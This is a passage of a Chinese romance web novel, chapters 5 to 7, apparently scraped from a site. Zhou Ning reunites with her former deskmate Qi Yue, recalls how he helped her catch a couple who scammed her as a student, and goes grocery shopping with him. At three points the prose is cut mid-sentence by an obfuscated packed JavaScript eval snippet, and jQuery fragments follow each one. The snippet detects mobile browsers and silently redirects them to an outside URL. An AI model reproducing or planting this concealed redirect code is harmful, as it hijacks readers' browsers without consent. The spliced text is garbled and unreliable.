“只要现公司不倒闭,我能在这里干到退休!” 祁越笑起来,“你老板肯定求之不得。” 萨摩耶坐在吧台下摇尾巴,黑溜溜的狗狗眼一会儿看看左边,一会儿看看右边。 两人聊得很投机,直到十点周柠才以明天上班要早点睡为由提前结束话题。 祁越打开手机,递来一张二维码名片,“要不 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祁越的昵称很简单,一个阿拉伯数字7再加一点——7. 头像是只吐舌头微笑的萨摩耶。 “头像是你家狗狗?”周柠问。 “嗯,它叫椰子。” 虽然有老同学和新邻居的双重buff,但周柠还是觉得最好不要在异性家逗留太晚。所以备注好姓名后她没翻看朋友圈,而是直接告别,“那我先回去咯,下次也请你吃饭。” 刚站起身,祁越却伸出一条长腿拦住她面前,“我现在是门锁,你想走得输入密码。” 他忽然也站起身,双手抱在胸前,威严地像个机器人。 周柠有些懵,“什、什么密码?” “密码是下次请我吃饭的时间。如果你说的下次是下次一定的那个下次,岂不是害得老同学白期待一场?” 男人很高,她站起来才到他胸口。祁越低头看着她的眼睛,虽然是笑眯眯的,语气也似玩笑,但依旧压迫感十足。 周柠挠挠头,一时也想不出合适的时间,说到底,下次请吃饭,不过是句客套话。她也不知道以后会是什么情况。 “额……重点是一定,不是下次。时间可以慢慢找嘛。” “慢慢找?周柠,你不会是在糊弄我吧?真让人没安全感。” 这样的身高,Alpa信息素满得都快溢出来了,却可怜兮兮地说自己没有安全感,很难不让人觉得在演。 从高二那年跟祁越做同桌开始,她就受不了祁越玩这套。 但她没有证据,只好妥协,“那就明天?” “什么?我没听清,你再说一遍。” “我说明天请你吃饭,保证不当鸽子。” 祁越松开发送按钮,语音发送进入聊天框。点开语音条,周柠刚才说的话就在手机里循环播报。 ——“我说明天请你吃饭,保证不当鸽子。” 感觉到手机震动,周柠打开一看,果然是祁越发来的消息。点击语音条,她的手机也开始播报。 ——“我说明天请你吃饭,保证不当鸽子。” 周柠大囧。 祁越拿着手机在她眼前晃了晃,笑道:“一言为定。” 5. chapter(05) 周柠第一次后悔自己嘴快惹祸。 她走到大床前,直直栽下去,让柔软的棉被堵住自己所有呼吸孔。 脑子乱乱的。 难道她自己很着急?怎么会下意识说明天呢?! 直到棉被中的空气变得稀薄,周柠才像乌龟一样慢吞吞地从壳里探出一只头。 啊,好热,要闷死了。 打开手机,她先检查了遍自己的朋友圈,设置的是三天可见,所以新朋友能看到的朋友圈竟然是0耶。 她上一条发的朋友圈是:第一章《回城》,这一次,我要拿回失去的一切。 附配一张凌晨候机的图。 周柠:“……” 当时在想什么?好优美的精神状态,幸好设置了仅三天可见。 好奇心驱使她点开祁越的朋友圈。 祁越没有设置三天可见,他发的朋友圈并不多,十根手指就能数出来。其中大部分是摩托车和他家狗狗椰子的照片。 往下翻,周柠发现椰子是祁越捡来回来的流浪狗。 [相见即是缘,养。]附带一张干净小狗图,地点是宠物医院。 再往下。 [大冬天的就躺马路边,差点让我骑摩托车压死(裂开.jpg)]附带一张脏兮兮的小狗图。跟上面那张简直是天壤之别。 因为发的朋友圈不多,所以很容易就翻到最底层。 最下面一条是十八岁刚去英国留学那年被偷手机,但让他给硬抢回来了。 [这位bro独具慧眼,偷手机偷到哥身上。]并附上一张和被打得鼻青脸肿的小偷的亲密合照。地点是当地警局。 等往下滑再也滑不动时,她才发现自己嘴角已经保持上扬姿态很久,已经有些僵了。 本想退出去,却发现祁越又发了条新朋友圈。 [今日可乐。]配图是一盘可乐鸡翅的图片,若用心去看,图里有两个杯子两个碗,说明是两个人吃饭。 周柠顺手点了个赞,想起手机便签里还没做完的食品检查报告,又补充好报告单,复制发到评论区。 ——品相10分,香味10分,味道10分,卫生状况10分,厨师10分。 然后就丢下手机去洗澡了。 直到洗完澡敷完面膜准备睡觉时她都没有发现有什么地方不对劲,但等闭上眼睛半分钟后,她忽然意识到,祁越是高中同学,虽然才新加上,他们也是有共同好友的。 周柠内心瞬间发出尖锐的爆鸣声,连忙打开绿泡泡查看。 果然,第一位共同好友打出评论:啊?你们……官宣? 人类的本质是复读机,接下来是一溜的相同评论,甚至连李依依都看热闹不嫌事儿大的进去掺和了一脚。 汗流浃背.jpg 幸好祁越有解释,他先回复她:我猜满分是10分。 然后回复大家:只是聚餐。各位想象力放开,我官宣能只有一盘可乐鸡翅? 这条解释怎么看怎么怪,但周柠又说不出是哪里怪。 不管怎么样,总归是解释过。既然祁越解释过,她就不说话了,不然显得欲盖弥彰。 她拍一拍李依依:[你敢信,你朋友邻居居然是祁越。] 李依依很快回复:[不是我朋友邻居,现在是你邻居啦。] 想起祁越解释的话,周柠忍不住好奇,他若是要官宣会怎么做呢? 高二那年,他们刚做同桌,她发现祁越是个挺大方仗义的人,他要是官宣应该会很高调吧。 -- 周柠高中时住校,周五回家,周末返校上晚自习。生活费和零花钱都是月结,一次性给九百,平摊下来每周两百多。和同学出去玩的话提前报备会给额外经费——不过出去玩的次数屈指可数。 学校早餐一般吃两三块,午餐和晚餐每顿十到十五块,价位可选,剩下的钱可以买零食文具。平常住校没有更多支出,话费和公交地铁卡妈妈会定期充值,加上周末回家牛奶水果卫生纸卫生巾可以直接零元进货,她过得还算宽裕。 高二上学期开学第四周,周柠还剩两百块,这周过后刚好发生活费。但很不幸,在第三周星期五晚上坐地铁回家时,她在火车站地铁换乘的时候被人骗钱了。 那是对夫妻,男女个子都不高,但穿着干净,长相宽厚,看上去都不像坏人。特别是女人化了素雅的淡妆,看上去很值得信任。 先是男人叫住她,“妹妹,不好意思,打扰了。” 他双手合十,显得很局促很窘迫的样子。 周柠觉得他或许需要帮助,摘下连接mp3的耳机,认真聆听。 “哎,我这,我说出口都觉得没脸。”男人挠了挠头,似乎对即将要寻求的帮助羞于开口。 这时,女人出来救场,“妹妹,这是我老公。我们是来C市旅游的,但是钱包掉了,没钱坐高铁回去,能不能借我们点钱,我可以加个微信,等回家后就还你钱。” 她声音温温柔柔,眼眶也微微泛红,像是走投无路才迫不得已放下脸面向路人借钱。周柠心软了,打开钱包拿出一张纸钞,“一百够吗?” 女人为难道:“我们是两个人。” 周柠犹豫半晌,把另一张纸钞也拿出来,“我只有两百,都借给你们吧。” 夫妻俩合十双手,诚恳道谢。 女人接着说,“我们加个微信,保证回家就还给你!” “我手里只有小灵通,回家才能用微信。”周柠说,“我给你说微信号吧。” 等女人发送完添加好友申请,周柠和夫妻俩告别。 今天做了好事,好学生周柠觉得胸前的红领巾更加鲜艳了。等回家跟妈妈说起这件事,妈妈也会觉得她做得对,然后把微信里的钱换成现金给她吧。 可坐在回家的地铁上,周柠越想越觉得蹊跷,等到家后打开手机一看,发现微信号已经被拉黑。 还真被骗了。 她怎么这么好骗啊!周柠气得捶床。 接下来一周该怎么办?荒野求生?翻箱倒柜找了好久也只找出六十块。正常吃饭的话,肯定不够。 怕被骂她不敢告诉家长,觉得被骗钱丢脸也不敢找同学借钱。再说了,都是学生,同学钱可能也刚好够自己。只能节衣缩食,吃一堑长一智。 早饭可以不吃,午饭吃最便宜的十元铁盘套餐或者面条抄手,剩下十块安排晚餐。就买袋吐司面包撑着吧,再把家里的苹果牛奶搜刮干净,应该饿不死。 长身体的年纪,用脑又多,平常就算吃过早饭,第二节课下课做完体操也会开始饿,更不要说不吃早饭。 星期天晚上就没好好吃饭,早饭也没吃,星期一升完国旗,周柠肚子饿得咕咕叫,饿得眼冒金星,黑板上老师的板书不是字,而是白面馒头! 桌肚里零食上星期就吃完了,库库灌水也没用,更饿!她现在简直想抱着人啃。 大概是肚子叫得太大声,引得祁越打趣,“饿了?” 找不出借口,总不能说消化不好想噗噗吧?那更尴尬。 “饿极了。”周柠痛苦点头,“怎么还有两节课。” 她趴在桌上声音细弱蚊喃。 “吃吗?”祁越递给她一包苏打饼干。 才刚开始做同桌,周柠又是比较慢热的人,跟祁越也没太熟,就是普通能正常相处的同桌关系。 换做以前她肯定还要矜持推拉几个回合,但现在她已经饿昏了头,什么都不管不顾了,接过苏打饼干感动道:“你真是个大好人。” 三块苏打饼干下肚,又喝了点水,周柠总算感觉恢复些力气。 可因为实在太饿,她吃的时候完全没反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159980|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来现在是上课时间,直接光明正大地往嘴里送。 班主任讲课的声音逐渐停止了。 “周柠,你在吃什么?” 此话如惊雷贯耳,周柠被吓得一哆嗦,瞬间坐好。 “还有祁越,你不看黑板看人吃东西做什么?” “哦,我在提醒她快点吃,不然就被您发现了。” 周柠欲哭无泪,哪有用眼神提醒的啊,好歹用手指戳一戳她呀,她根本就没发现祁越在看她。 班主任老胡脾气虽爆,对成绩好的学生却格外宽容,这是老师的通病。但两人表现得太过嚣张,以至于让老胡实在下不来台,遂怒而指向门外,“你们俩,站出去。” 对周柠来说,作为一个好宝宝,十六年来被罚站教室门外还是头一遭,因此靠墙站立时看着偶尔路过的校领导和别班老师显得格外局促。 祁越却很从容,甚至还从校服包里摸出两条脆脆鲨,“要不要来一根?现在没人抓了。” 常有电影台词写道,人生十有八九不如意。 虽然此话对于还是高中生的他们来说过于老气,但周柠还是接过脆脆鲨,像警匪片里被拘留入狱的罪犯般,以脆脆鲨代烟,撕开包装,跟共犯咔擦咔擦啃起来,眺望远方,静静等待着服刑期圆满的那一天——也就是打下课铃。 老胡没过多为难他们,下课后只是出来教导他们下次注意就让他们回教室了。 周柠发现,祁越对她的了解似乎远比她想象中更多。 她最近很爱喝旺仔牛奶,已经连续一个月每天午休的时候都来一罐了。被骗后自然没钱买。 祁越问:“你今天怎么不喝旺仔牛奶?” 她只好说:“月底了,得开源节流。” 下午最后一节课结束,李依依喊她去吃晚饭,她拒绝了,一个人坐在座位上边啃吐司边做作业。 不料这样凄凉的场景却正好落入吃完饭回教室取篮球的祁越眼里。 “你晚上就吃这个?” “还有个苹果,我减肥。” “减肥你还吃脆脆鲨。” 周柠:“……你给的。” “赖我。” “额,我的意思是,你给的,我肯定要吃。” 这句话怎么听起来怪怪的? 祁越愣了愣,欲言又止。 周柠眨巴眨巴眼睛望着他,“你想说啥?” 这时门外有人喊,祁越撇下一句,“打球去了,脆脆鲨我包里还有,要吃自己拿,买了一盒。” 当然,话虽然这么说,周柠绝对不会主动拿。 星期二上午,周柠继续被饿得眼冒金星,最后实在扛不住,只能服软求助,“祁越,能不能吃条你的脆脆鲨?” 晚饭吃面包啃苹果的日子持续到第二天周柠就觉得活着没什么盼头了,但无奈还得坚持。 可祁·福尔摩斯·越却发现猫腻,并于晚自习戳破她,“周柠,你被偷钱了,还是丢钱了,还是被骗钱了?” “都没有。你为什么会这样想?” “平常你桌肚里至少一半放零食,现在全是空气。晚饭就吃面包啃苹果,减肥也吃点好的吧。” “其实是我超前消费。” “你不像那种人。” “我就是。” “那你买什么了?” 周柠憋了半天没答上来,抬头一看,祁越正抱手盯着她,就像是审讯室里的检察官。 昨天他俩还都是罪犯呢,现在祁越已经升咖了。 “谁骗你钱,怎么骗的?” 周柠下意识回答,“不认识,一对夫妻。” 呀!反应过来后,周柠赶紧捂嘴。 祁越挑眉,甚至还那笔在纸上记录,“嗯,一对夫妻,然后呢?怎么骗的?别担心,我不笑你,还帮你出头。” 6. chapter(06) 周柠将来龙去脉都捋了一遍。 “骗子就爱挑学生下手。”祁越说。 “是我好骗。”周柠沮丧道,“如果是你,你会借吗?” “能发现是诈骗的情况下,不会。” 周柠更沮丧了,脑门磕在试卷上,“可我没发现,找我下手果然是看我呆。” “噗。” 耳朵一红,周柠蹭地弹起来,“你笑了,说好不笑的。” “不好意思,没控制住。”祁越咳嗽两声,“但我绝对不是在笑你被骗。善良没错,该受惩罚的是骗子。” “那你笑什么?” “我不知道。”祁越顿了顿,“你刚才脑门磕在试卷上,咚的一声,很可……咳咳,没什么,你脑门疼吗?” 周柠:“……不疼。” 现在算是明白了,社会险恶,行善之前也得保护好自己。 头顶的风扇吱呀呀地转,吹得习题册纸页乱飞,她用笔袋压住页角,埋着头刷刷写题。 在有思绪的情况下,解数学题对她而言是能让心静下来的一件事。 指针滴答转,最后一节晚自习快下课了,安静的教室慢慢开始出现细碎的响动。 祁越说:“周五我跟你去看看诈骗犯还在不在。” 周柠停下笔,扭头看他,“你要干嘛呀。” 祁越笑道:“追债。” 少年眼睛亮亮的,在一瞬间,周柠有些晃神,结巴道:“真、真去呀?” “真去。” 下课铃响了,住校生要比走读生多上一节课晚自习。 祁越是走读生,快速收拾好书包,大手一挥将饭卡拍在周柠面前,“这周先刷我的。” “那你呢?” “我还有一张。”祁越解释道,“以前旧卡丢了就办了张新卡,结果新卡刚办旧卡就找到了。正好,两张卡看心情换着用。” 他单肩背上书包,将座椅往里推,“先走了。” “拜拜。”周柠挥了挥手,小声说。 等说完她才反应过来这好像是她第一次跟祁越道别。 心忽然跳得快起来。 倒不是因为青春期的特殊情愫,换做一个慢慢相熟的女生,第一次拉近距离时她也会紧张地期待对方反应。 这是友谊的滋生。 祁越也大方地朝她挥手,“拜拜。” 隔壁班的男生路过教室门外,一看到祁越出来男生就开始诈唬地叫起来,“哟,春光满面啊祁总,遇上什么好事……啊——” 没等男生说完,祁越长腿跨过去,按住他的后脑勺往前推,男生一个踉跄,连带着颤抖的尾音一起消失在教室门框中。 祁越往回看了一眼,这时周柠听到动静正好抬头。 视线交织。 少年没说话,挪开视线,走了。 周柠歪头:“……?” 走读生离开后,教室里空旷不少。 饭卡有两面,一面印带校徽的学校背景,一面印大头照和班级姓名。大多数人会买卡贴把有人像的那一面遮住,但祁越大概是嫌麻烦,没改造,是光秃秃的原装卡。递卡的时候风景朝上,人像朝下地按在了桌面上。 周柠盯着校徽,将饭卡翻转过来。 上面的人像是初三时照的,五官很精致,看上去比高中要稚嫩些。 也不知照相的时候是不是没睡醒,眼睛半睁不睁,一脸蔑视的倦意。即使照片印得很糊,那股酷拽的气质还是能冲破卡面直往她脸上扑。 不好惹,不好接近,不像好人。 但人不可貌相。刚得知这学期同桌是祁越的时候周柠还担心会不好相处,结果这种担心完全多余。 “陪我去尿尿。”李依依从后面偷袭,搂着脖子压在她背上。 “好。”周柠快断气了,快速将卡收进笔袋里。 第二天早上,她拿着这张卡刷早餐钱的时候看着四位数余额陷入沉思,默默把它从校服外套浅兜里转移到更深的校服裤兜,直到周五吃过晚饭完成饭卡交接仪式后,才真正放松。 平常走读生九点半下晚自习,住校生多上一节自习课,十点二十后才能回寝。但星期五住校生第一节晚自习下课,即七点五十就可以离校,当然也可以多待。 周柠本来以为祁越说周五跟她去逮人追债只是玩笑,但在周五这天,她发现,祁越是来真的。 “走?”祁越已经收拾好书包。 “你真去呀!”周柠低着头压低声音,内心感叹现任同桌好可怕的行动力。 “不是说好了嘛,肯定去啊。” “可是老胡会发现你逃课诶。”周柠悄悄指了指讲台上吐茶叶的班主任。 “为人民服务,他会理解的。” 两人头凑在一起,低声密谋,像地下党特务。 “可是,就算去,也不一定能找到那两个人呀,岂不是白忙活一场?” “碰碰运气咯,没遇上就当是送你回家。”祁越指了指钟表,“还有八分钟上课,趁乱,得赶紧。” 周柠最终还是没办法拒绝,站在赶往案发地站点的地铁上,心情忐忑不安。 这是条热门线路,无论什么时候都人满为患。两人被迫挤在一起。她发现祁越比她高好多。 老天大概也在伸张正义,到换乘站后,还真让他们发现了那对惯犯。 “啊,就是他们。”周柠说。 “好,等我摇人。”祁越说着点开手机发消息。 “啊?摇什么人?” “police。” 在警察来之前,两人保持暗中观察,避免打草惊蛇。 周柠脑子乱乱的,一小时前她还是坐在教室里的三好学生,现在却成了蹲点诈骗犯的私家侦探,平淡的人生瞬间变得好抓马。 等待间,夫妻俩似乎有了新目标,是个学生妹,而且看着像初中生。 也不知是哪来的底气,周柠丢下行李箱直接冲上前,“快走,他们是骗子,别给钱。” 初中学生妹有些懵,把五十块钱重新揣进包里。 到嘴的鸭子飞走,又听到有人说他们是骗子,夫妻中的女人瞬间急了,但还是压低声音质问,“小妹妹,你可别诬赖人,谁骗你钱啊?” “上周五,你们以来旅游丢钱包没钱坐高铁为由骗了我两百块,不记得了?” 周柠不是大众脸,即使看一眼也会印象深刻。夫妻俩一愣,显然是想起来了。 男人不承认,红着脖子骂她小小年纪不要脸,仗着体宽身胖,挥着拳头就要来推搡人。 手还没碰到周柠,便被祁越一脚踹开。 周柠不知道他什么时候站到她前面去的。 踹人的时候,他手里还拖着她那贴有飞天小女警贴纸的粉色行李箱,画面冲击力拉满。 男人爬起来要还手,祁越说,“罚款和医疗费都给得起,要不打一架再等警察判?而且你刚才口头侮辱加动手,算互殴。” 男人握紧拳头还在犹豫。 “啧,”祁越看向男人身后的帽子叔叔,表情遗憾,“没时间打了,直接进局子吧。” 周柠目瞪口呆,CPU高速运转,烧得脑袋都快冒烟。 乱,直到从派出所出来整个人依旧处于凌乱状态。警察还在审问俩诈骗犯,周柠拿到被骗的两百块钱跟祁越先行离开。 城市的夜晚甚至比白天还热闹,灯红酒绿,车水马龙。 从骗子手里拿回来的两百块不是两张整票,周柠取出一张五十,两张二十,两张十块递给祁越,“饭卡我一共刷了一百零九块,给你一百一。” 等对方收下钱后她接着温吞地说,“今天谢谢你。” 祁越笑道:“举手之劳,反正闲着也是闲着。” 她发现,祁越其实挺爱笑的,至少在她面前经常笑。少年笑起来像夏天的风,像冰镇的柠檬苏打水,咕噜噜冒泡泡。 “前面有地铁站,我先走了。”周柠说。 “这就走啦。” “嗯,回去太晚妈妈要担心,会打电话催。” “等等,”祁越转身跑进一家便利店,留下一阵风。 但他很快就回来,递过来一个草莓味可爱多。这个口味正好是她最喜欢的。 “喏,陪我吃个冰淇淋再走。” “是请我吃吗?” “你都陪我坐江边吹风了,我不请你吃冰淇淋说不过去。” 她什么时候答应要陪他坐江边吹风了? 其实有些心痒,平常课业繁重,她还从来没坐在江边吃冰淇淋吹江风。 今天都现场激战加进派出所了,不如就破例再多做一件事吧! 江在对面,两边是高砌的堤坝,种着杨柳,还安放了许多长椅。晚风拂面,想想都惬意。 于是周柠接过可爱多,“绿灯,快过马路!” 说这话时她自己都吃惊,也许是被祁越影响,也许是今晚发生的事情太有戏剧张力,总之,她肉眼可见地在现任同桌面前变活泼了。 两人在长椅上排排坐。江对面大概是片商业区,古韵阁楼林立,灯火璀璨。 撕开甜筒包装纸,咬一口,冰凉酸甜的雪糕在口中化开。 周柠眺望着对岸,噗嗤大笑。 “突然笑什么?”祁越问,语气也带着笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159981|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那个人,被你踹下去的时候,龇牙咧嘴的,好好笑。”周柠扭头,正好跟少年对视。 “是嘛?”祁越扬眉,“我当时都快担心死了。” “担心什么?” “担心他的手推到你,所以我那一脚踹得飞快。” 江这边的路灯没有对岸商业区亮,周围又种着树和灌木,光线昏暗,显得朦胧。看不清人脸,眼睛却亮得出奇。 周柠有些不自在,心口像是有某种奇怪的东西在蔓延。 是什么呢? 不能再看祁越的眼睛了。她别过脸,继续眺望江对岸,猛咬一口雪糕。 啊,好冰。 冰冰冰,我的牙! 少女雅致的五官皱成一团。 擦汗,幸好光线暗看不清,不然多尴尬,感谢市政府节能。 “后面警察就来了,”周柠回忆着,“你说,他们会被拘留几天呀?” 话题又被掰回案件本身。 那晚他们聊了很多,案件、老师、同学、课业、过去、未来,直到妈妈打电话来催才结束。 多年以后回想起那晚,即便想不起聊过那些话题,也会记得江风拂面时是多么温柔凉爽。 夏日已经结束,只在初秋还留有余温,他们吃着甜筒,趁它彻底消失之前,踩中尾巴。 -- 再浓烈的感情也会归于平淡,绝大多数友谊具有时效性和阶段性,这是周柠二十几年总结出来的人生规律。 友情需要维系,长时间不联系感情就是会生疏。 回忆中,她也和祁越有过一学期同桌革命友谊,但高二下学期,他们不做同桌了,甚至连教室座位都隔了一整间教室。 她下课不爱动,除必要的上厕所接水外,基本很少离开座位,有时一坐就是半天,想要跟大洋彼岸的前同桌产生交集着实困难。 而且,他们未来的走向,是截然不同的。 那时祁越忙着考托福办理出国留学手续,三天两头请假。她是住校生,家里管得严不常用智能手机,临近高三学业又繁重,两人的交集自然越来越少。 祁越毕竟是男生,她跟异性相处并没有和同性相处时产生的天然的亲近感与舒适感,只有性别设置的距离障碍。 所以在不做同桌后,她跟祁越最开始在路上碰面还会打招呼,但后来就渐渐不打招呼了。 如果记得没错的话,应该是她先开始不打招呼。 那次祁越的手挥在半空中,似乎正要开口说“嗨”,可她低着头,快步走了过去,让祁越的那声“嗨”重重地落在地上。 她并非有意让人难堪,当时考试考砸了,心情不太好,一直在复盘,走在路上对来来往往的人并不关注。明明有看到祁越,可脑子就是没转过来,等擦肩而过之后,才后知后觉自己做了件错事。 再下一次于接水路上碰面后,祁越没先打招呼,似乎在等她主动。但因为上次的错过,她S属性大爆发——社恐,所以没有开口。 关系就这样生疏了。 在那之后她有些害怕跟祁越碰面,有时看到会刻意避开,或者直接装作没看见。接着祁越不来学校了,也没机会碰面了。再然后,毕业,祁越出国,她去外地上大学,再到外地工作,整整六年,彻底断联。 所以,从外地回来后还能重新跟祁越产生交集,让她觉得十分神奇。 多年以后,他们都改变不少,但幸好还没被时间搓磨得面目全非,再相遇时,还能在对方身上看到少年时期的影子。 -- 地铁到站音响起,周柠顺着下班高峰期的一潮人流滑出地铁门。 点开手机,昨天祁越发送过来的语音还清晰可闻。 她信誓旦旦地说过要请他吃饭,不放鸽子。 老实说,她不知道祁越喜欢吃什么,也不知道这顿饭该怎么请。 对着微笑萨摩耶头像发呆,三秒后,她拍了拍这个头像。 祁越很快回复:[地铁快到站了吗?] [对的,已经到了。你想吃什么?] [出地铁门不远有家生鲜超市。] [?] [可以在家煮火锅。] 周柠没反应过来,满脑袋问号。 手机对面祁越接着发消息:[我在A口等你。] 周柠:?! 什么意思?不出去吃了?还要来地铁口接她? 站上扶梯,刚到出站口果然看到祁越,因为背着光站,连蓬松的头发丝都在发光。 “嗨。”他冲她笑,身上穿了条宽松的灰色卫裤,腿很长。 很好,周柠眼前一亮,新皮肤+1. 7. chapter(07) 逛超市对周柠来说是件很治愈的事情,特别是逛大型商超,即便不买,看看也会让人快乐。 她喜欢看琳琅满目的商品满满当当地塞在货架里的样子,然后像探险小队成员寻宝一样挖出宝藏看配料表。就算被人说过这个爱好无聊,也乐此不疲。 她从来没想过会跟祁越一起逛超市。 “你是想速战速决还是慢慢逛?”周柠顿了顿,如实剖析道,“我买东西很磨蹭,喜欢到处看。” 就很没效率。 要是按照她的节奏逛,没几个人会受得了。 “我一般会列清单,买完就走。”祁越说,“但有人请客的话,可以日逛三万步。” 他已经提前把清单列好了,打开便签给她看,“仅供参考。” 【已有:】 葱姜蒜小米辣调料 电磁炉 底料(辣) 周柠眉头微微皱起来,慢吞吞道:“我租的那个房里,没有电磁炉,也没有葱姜蒜调料,更没有火锅底料。” 才搬过来不到两天,她没下过厨。房东大概也不爱下厨,厨房跟刚装修出来时没什么两样。 祁越:“没说去你的出租屋。” “那是去哪里?” 祁越笑:“昨晚在哪里今晚就还在哪里。” “但不是说我请客吗?还去你家就成你请客了。” “不啊,买的食材你给钱就还是你请客。” 周柠:“……”好有道理。 接着往下看清单。 【选择购买:】 底料(口味?) 虾滑 肥牛 鱼丸 香菇 鱿鱼须 午餐肉 生鸭血 毛肚 响铃卷 腌制牛羊肉 切片藕 切片土豆 毛肚 …… 每一项选择购买的前面都有一个小框用于勾画核销。 滑滑滑,滑了好久才到底。周柠看着长长的清单陷入沉思,一时也想不出要买什么或者再加些什么。 “我比较随意,emmm……”她停顿抬头看向祁越,“就是看到什么想买的,再做决定。” 老实说,这个手机的样式和触感有些熟悉,有点像上回捡到的那个。 但想想觉得荒谬,这个型号的手机套上透明手机壳都长一个样,还能靠触觉感受出来? 周柠将手机递回去,“要不,就清单上这些?” “不成,是你请我吃饭。”祁越取出购物车,“要是全按我的清单选,显得你多没诚意。” “……”周柠问,“怎样才算有诚意?” “我比较随意,嗯,”祁越刻意学着她的语气顿了顿,“就是看到具体行动后,才会感叹,哇,好有诚意。” “那不就是甲方?”周柠吐槽。 “但我是个千载难遇的好甲方,一遍就过。” 祁越笑着推购物车,“走吧,就算敷衍,也总得带甲方逛逛。” 所以,还是选择慢慢逛?周柠窃喜,也不管什么甲方乙方了,直接冲去进货。 虽然喜欢逛超市,但她放假也懒得出门啊!加上身患拖延重症,所以习惯于像仓鼠一样在家里囤货。既然这回来逛,那就多买点。 祁越推着购物车跟在她身后,她站在酸奶货架前拿起两瓶酸奶左右对比,耗时三分钟,最终敲定一类,买了套装。 货架有些高,周柠仰头看向摆在最高层的玻璃瓶子,还没伸手垫脚去够,祁越就在她之前将酸奶取下来。 他侧头看过来问:“是这个吗?” 周柠点头。 看到配料表第一个写的是全脂乳粉瞬间失去兴趣,想放上去,一只手又伸过来。 “给我吧。”祁越说。 周柠这才反应过来祁越刚才一直在看她,否则怎么可能这么迅速,还一副兴致盎然的模样。 “你不喜欢喝酸奶?” “喜欢,”祁越说得轻快,“但我更喜欢看你做酸奶鉴定。” 他也低头研究起酸奶瓶上的配料表。 “是门学问,”稍作停顿后,抬头看向她颇为遗憾道:“可惜不在我的专业领域。” 看他一本正经,像看学术文件地看配料表,周柠嘴角不由自主地被钓起来。 刚才她在祁越眼里也是在阅读专业文献吗? 周柠决定向这个门外汉展示自己的研究成果,“这种不好喝。” “为什么不好喝?” 祁越已经站过来,将有配料表那面对在她面前。 周柠顺势用手指指给他看,“因为配料表第一位是全脂乳粉,然后是水,紧跟着是果葡糖浆。喝起来会很甜,而且有粉感。” 两人低着头,因为要看同一张配料表所以挨得很近。 周柠闻到他身上那股特殊的,被洗衣液清洗的干净香气。 “全、脂、乳、粉,”祁越拇指按在周柠的食指旁,指着配料表上的文字一字一顿阅读,然后扭头问,“那应该选哪种?” 酸奶是冰的,祁越的拇指温度比她的食指高。 周柠缩回手指,“要选配料表第一是生牛乳的。” “就像这种,”她又从货架上取出另一瓶酸奶指给他看,“而且第二位不能是水。” 祁越低声笑,“你好像在给我讲题。” 笑容会传递,周柠唇角上扬,“以前都是你给我讲。” 高二时她物理学得有些吃力,虽然新同桌物理很好,但最开始还没相处熟悉时,她不好意思问。自己一个人埋着头计算,草稿本写写画画耗费三四页也没做出正确答案。 祁越撑着脑袋侧头看她,修长的手指灵活地转着一支笔。 沉浸式写题太长时间注意力也会开始不集中,她当然慢慢察觉到祁越不干正事在看她。 那时才刚开始做同桌,她觉得这人真无聊,以看人做不出题为乐。 思绪被打乱,越看越烦躁,干脆合上试卷做数学。 “其实可以走捷径的。”祁越突然说。 “什么捷径?”重新打开试卷,她实在不知道这个小球能有什么捷径可走。 祁越停止转笔,笑道,“问我呀。” 哦,原来是这个捷径。 她有些意外,这个交集甚少的新同桌看她做不出题居然会主动提出要帮忙。 “那该怎么做?”她问。 祁越却开始摆谱,“就这么问呀。” “还能怎么问?” 祁越扬眉,“总得说点好话吧。” 周柠:“……” 无聊。 这人大概是拿她寻乐子,等她说完好话说不定会来一句,嘿嘿,逗你玩呢,其实我也不会。 果然,看面相就不是什么踏实学生。 “祁同学……”她缓缓开口。 “嗯?”祁越似乎很期待的样子。 但她才不愿意玩这种地下商场买衣服讨价还价的游戏。 “刚才突然有些思路,我还是自己慢慢想吧。” 正要缩回去,祁越却把一张空白草稿纸拍到课桌拼接中央。 “看着。”他表情严肃极了,垂着鸦羽在纸上画图。 但他讲得倒是不错,一遍就能让她听懂。 地下商场买衣服讨价还价的游戏被迫继续。上一个阶段是买家觉得价格太高作势要走,然后卖家见状不妙立刻冷着脸挽留,好好好,就这个价卖给你了,亏本价。 完成交易后进入下一阶段,即气氛缓和阶段。 “谢谢。”周柠干巴巴地说。 “就光谢谢呀。” “还有呢,别着急。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159982|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周柠清清嗓子,举起草稿纸用机器人背书的语调念道,“哇,你真是,太厉害了。” “那是。”祁越憋着笑,“跟我做同桌,算你捡到宝了。” 周柠:“宝贝能二手拍卖吗?” 祁越挑眉,“能啊,但我怕拍卖价太高,你看着数目不敢接。” …… 思绪拉回现实。 周柠:“可惜我们做同桌的时间不长,而且昨天才重遇。” 